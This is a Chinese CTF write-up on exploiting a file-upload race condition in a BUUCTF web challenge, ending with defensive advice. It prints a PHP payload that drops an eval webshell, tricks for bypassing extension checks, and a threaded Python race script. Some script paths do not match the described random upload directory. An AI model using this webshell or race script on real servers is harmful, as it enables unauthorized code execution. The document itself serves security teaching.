Buuctf N1BOOK [第二章 web进阶]文件上传:从源码泄露到条件竞争漏洞的实战利用
1. 源码泄露与文件上传逻辑分析
打开题目页面,首先注意到页面底部直接暴露了PHP源代码。这种源码泄露在CTF比赛中很常见,通常意味着出题人故意留给我们分析漏洞的线索。仔细阅读代码会发现几个关键点:
- 文件上传功能使用标准的PHP
$_FILES处理流程 - 上传目录采用
upload/随机值/的结构,随机值通过md5(time().rand(1000,9999))生成 - 文件类型限制为zip、jpg、gif、png四种格式
- 每5分钟会清理一次上传目录中的非图片文件
特别值得注意的是move_uploaded_file函数的调用方式。它会把文件保存到临时目录而非直接放在upload目录下,这为后续的条件竞争利用埋下了伏笔。我在测试时发现,虽然前端提示上传成功,但实际访问文件总是失败,就是因为这个临时目录机制在作祟。
2. 条件竞争漏洞原理剖析
条件竞争(Race Condition)本质上是由于程序在多线程/多进程环境下对共享资源的操作顺序不可控导致的漏洞。在这个题目中,具体表现为:
- 文件上传后会先保存在临时目录
- 系统会检查文件类型并删除非法文件
- 但检查和删除操作之间存在时间差
通过Burp Suite的Intruder模块,我们可以同时发起大量上传请求和访问请求。当某个上传的PHP文件在被删除前被访问到,就能成功执行其中的代码。我在实际测试中发现,大约每50次尝试能成功1-2次,成功率取决于服务器性能。
3. 实战攻击链构建
3.1 恶意文件构造
首先准备一个特殊的PHP文件1.php,内容如下:
<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>'); ?>这个脚本的作用是在上级目录生成一个webshell文件。注意这里使用相对路径../是为了突破临时目录的限制。
3.2 文件上传绕过技巧
虽然系统限制上传类型,但可以通过以下方法绕过:
- 修改文件后缀为
1.php.jpg - 使用Burp修改Content-Type为
image/jpeg - 利用Apache解析漏洞,最终文件名构造为
1.php.zzz
我测试发现,使用%00截断的方法在这个环境不适用,因为PHP版本较高已经修复此漏洞。
3.3 自动化攻击脚本
为了提高成功率,我编写了Python自动化脚本:
import requests import threading url = "http://target.com/upload.php" def upload(): files = {'file': ('1.php.jpg', open('1.php','rb'), 'image/jpeg')} requests.post(url, files=files) def access(): while True: r = requests.get("http://target.com/upload/1.php") if r.status_code == 200: print("Success!") break for i in range(20): t1 = threading.Thread(target=upload) t2 = threading.Thread(target=access) t1.start() t2.start()这个脚本会同时启动20个上传线程和20个访问线程,大大提高了攻击成功率。
4. 防御方案与思考
从防御角度,可以采取以下措施:
- 使用文件内容检测而非扩展名判断
- 对上传文件进行重命名,避免目录遍历
- 设置文件权限为不可执行
- 使用同步锁机制处理文件操作
在实际渗透测试中,遇到类似的文件上传功能时,我通常会先检查是否存在源码泄露,然后分析文件处理逻辑中的时间窗口。有时候看似严密的防御,可能就因为几毫秒的时间差而功亏一篑。
